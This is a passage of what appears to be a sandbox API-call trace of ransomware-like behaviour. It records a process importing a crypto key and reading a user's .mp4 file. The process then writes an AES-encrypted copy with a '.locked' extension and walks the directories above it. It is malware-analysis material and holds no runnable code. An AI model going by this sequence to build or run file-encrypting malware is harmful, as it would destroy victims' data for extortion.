MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.392] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.392] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.392] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.392] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.392] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.393] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x42ebcb0) returned 1 [0138.394] CryptImportKey (in: hProv=0x42ebcb0, pbData=0x6ae248c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84bf8) returned 1 [0138.394] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.394] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.394] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.394] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.394] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.395] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4")) returned 0x20 [0138.395] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4")) returned 0x20 [0138.395] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.395] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.395] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.396] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.396] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.396] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.396] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.396] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.396] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.396] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.396] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0138.397] GetFileType (hFile=0x764) returned 0x1 [0138.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.397] GetFileType (hFile=0x764) returned 0x1 [0138.397] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.397] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0138.397] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.397] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.397] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.397] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked", lpFilePart=0x0) returned 0x64 [0138.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.397] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0138.398] GetFileType (hFile=0x778) returned 0x1 [0138.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.398] GetFileType (hFile=0x778) returned 0x1 [0138.398] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.398] CryptGenRandom (in: hProv=0x42ebcb0, dwLen=0x10, pbBuffer=0x6afef34 | out: pbBuffer=0x6afef34) returned 1 [0138.399] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.399] CryptDuplicateKey (in: hKey=0x8e84bf8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84c78) returned 1 [0138.399] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.399] CryptSetKeyParam (hKey=0x8e84c78, dwParam=0x4, pbData=0x6b001f0*=0x1, dwFlags=0x0) returned 1 [0138.399] CryptSetKeyParam (hKey=0x8e84c78, dwParam=0x1, pbData=0x6b001bc, dwFlags=0x0) returned 1 [0138.399] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x1560\x438\x24a") returned 0x0 [0138.399] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.399] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.399] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.399] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.400] ReadFile (in: hFile=0x764, lpBuffer=0x6b0374c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b0374c*, lpNumberOfBytesRead=0x99ae7a8*=0xbec7, lpOverlapped=0x0) returned 1 [0138.400] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b17758*, pdwDataLen=0x99ae79c*=0xbec0, dwBufLen=0xbec0 | out: pbData=0x6b17758*, pdwDataLen=0x99ae79c*=0xbec0) returned 1 [0138.400] WriteFile (in: hFile=0x778, lpBuffer=0x6afeff4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6afeff4*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0138.401] WriteFile (in: hFile=0x778, lpBuffer=0x6b18744*, nNumberOfBytesToWrite=0xaed4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b18744*, lpNumberOfBytesWritten=0x99ae780*=0xaed4, lpOverlapped=0x0) returned 1 [0138.402] ReadFile (in: hFile=0x764, lpBuffer=0x6b0374c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b0374c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0138.402] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b2363c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b2363c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0138.402] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b23670*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b23670*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0138.402] WriteFile (in: hFile=0x778, lpBuffer=0x6afeff4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6afeff4*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0138.402] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.402] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.402] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.402] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.402] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.403] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4")) returned 0x20 [0138.403] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.403] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.403] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.403] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.403] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.404] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.404] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.404] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.404] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.404] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.404] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.404] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.404] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.404] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.404] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.404] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.404] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.404] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.405] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.405] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.405] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.405] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.405] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.405] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0138.405] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0138.405] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0138.405] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0138.405] GetFullPathNameW (in: 